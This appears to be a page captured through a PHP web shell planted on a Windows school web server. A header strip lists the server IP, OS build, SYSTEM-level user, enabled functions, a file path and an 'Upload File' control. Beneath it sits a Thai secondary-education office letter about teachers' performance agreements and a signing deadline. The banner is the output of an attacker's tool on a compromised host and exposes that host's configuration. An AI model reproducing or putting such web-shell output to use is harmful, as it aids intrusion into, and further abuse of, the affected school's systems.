| Server IP : 104.21.80.248 / Your IP : 162.159.115.42 Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586 User : SYSTEM ( 0) PHP Version : 5.6.30 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : E:/Inetpub/www/myschool/suanphung/data/tkk2text/ |
Upload File : |
<p>เรียน ผู้อำนวยการโรงเรียนสวนผึ้งวิทยา</p> <p> ตามที่ ก.ค.ศ. ได้ออกกฎ ก.ค.ศ. การเลื่อนเงินเดือนของข้าราชการครูและบุคลากรทางการศึกษา พ.ศ. ๒๕๖๑ (ว ๑๕/๒๕๖๑) หลักเกณฑ์และวิธีการประเมินผลการปฏิบัติงานของข้าราชการครูและบุคลากรทางการศึกษา (ว ๒๐/๒๕๖๑) และคำชี้แจงและแบบประเมินผลการปฏิบัติงานของข้าราชการครูและบุคลากรทางการศึกษา (ว ๖/๒๕๖๒) โดยหลักเกณฑ์และวิธีการประเมินผลฯ กำหนดว่าข้อ ๗ ให้มีการกำหนดข้อตกลงเกี่ยวกับผลการปฏิบัติงาน ร่วมกันระหว่างผู้บังคับบัญชาและผู้รับการประเมิน ทั้งนี้ ให้พิจารณาจากข้อตกลงของส่วนราชการหรือสำนักงานเขตพื้นที่ การศึกษาหรือหน่วยงานการศึกษา มาตรฐานและภาระงานขั้นต่ำที่ได้มีการจัดทำและกำหนดไว้นั้น</p> <p> ในการนี้ สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรีได้ดำเนินการจัดทำข้อตกลงเกี่ยวกับผลการ ปฏิบัติงาน ครั้งที่ ๒ (๑ ตุลาคม ๒๕๖๔) เรียบร้อยแล้ว จึงขอให้ผู้อำนวยการสถานศึกษาในสังกัด ลงนามข้อตกลงเกี่ยวกับ ผลการปฏิบัติงานร่วมกันระหว่างผู้บังคับบัญชาและผู้รับการประเมิน จำนวน ๒ ชุด และโปรดส่งแบบข้อตกลงฉบับจริง ทั้ง ๒ ชุดดังกล่าว กลับมายังกลุ่มบริหารงานบุคคล สำนักงานเขตพื้นที่การศึกษามัธยมศึกษาราชบุรี ภายในวันที่ ๑๕ กันยายน ๒๕๖๔</p> <p> จึงเรียนมาเพื่อทราบ และดำเนินการต่อไป </p>